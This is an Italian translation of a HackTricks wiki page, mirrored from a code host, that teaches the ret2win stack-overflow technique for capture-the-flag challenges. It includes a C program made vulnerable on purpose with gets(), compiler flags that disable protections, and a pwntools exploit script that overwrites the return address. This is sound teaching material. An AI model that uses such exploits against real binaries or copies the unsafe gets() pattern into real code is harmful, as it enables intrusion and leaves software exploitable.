Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/stack-overflow/ret2win
History
Translator 9ed6ab9ba7 Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:09:41 +00:00
..
README.md Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h 2024-04-10 15:33:28 +00:00
ret2win-arm64.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:09:41 +00:00

README.md

Ret2win

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Le sfide Ret2win sono una categoria popolare nelle competizioni di Capture The Flag (CTF), in particolare nei compiti che coinvolgono exploit binari. L'obiettivo è sfruttare una vulnerabilità in un binario dato per eseguire una funzione specifica e non invocata all'interno del binario, spesso chiamata win, flag, ecc. Questa funzione, quando eseguita, di solito stampa una flag o un messaggio di successo. La sfida di solito coinvolge sovrascrivere l'indirizzo di ritorno nello stack per deviare il flusso di esecuzione alla funzione desiderata. Ecco una spiegazione più dettagliata con esempi:

Esempio in C

Considera un semplice programma in C con una vulnerabilità e una funzione win che intendiamo chiamare:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Per compilare questo programma senza protezioni dello stack e con ASLR disabilitato, puoi utilizzare il seguente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
  • -fno-stack-protector: Disabilita le protezioni contro gli stack overflow.
  • -z execstack: Consente l'esecuzione di codice nello stack.
  • -no-pie: Disabilita l'eseguibile a posizione indipendente per garantire che l'indirizzo della funzione win non cambi.
  • -o vulnerable: Nomina il file di output vulnerable.

Python Exploit usando Pwntools

Per l'exploit, useremo pwntools, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Per trovare l'indirizzo della funzione win, puoi utilizzare gdb, objdump, o qualsiasi altro strumento che ti permetta di ispezionare file binari. Ad esempio, con objdump, potresti utilizzare:

objdump -d vulnerable | grep win

Questo comando mostrerà l'assembly della funzione win, inclusivo del suo indirizzo di inizio.

Lo script Python invia un messaggio attentamente elaborato che, quando elaborato dalla vulnerable_function, provoca un buffer overflow e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di win. Quando vulnerable_function ritorna, anziché tornare a main o uscire, salta a win, e il messaggio viene stampato.

Protezioni

  • PIE dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è read o simile, puoi fare un sovrascrittura parziale di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una possibilità su 16 (1 nibble) di ottenere l'indirizzo di ritorno corretto.
  • Anche i Canary dello Stack dovrebbero essere disabilitati o l'indirizzo di ritorno EIP compromesso non verrà mai seguito.

Altri esempi e Riferimenti

Esempio ARM64

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: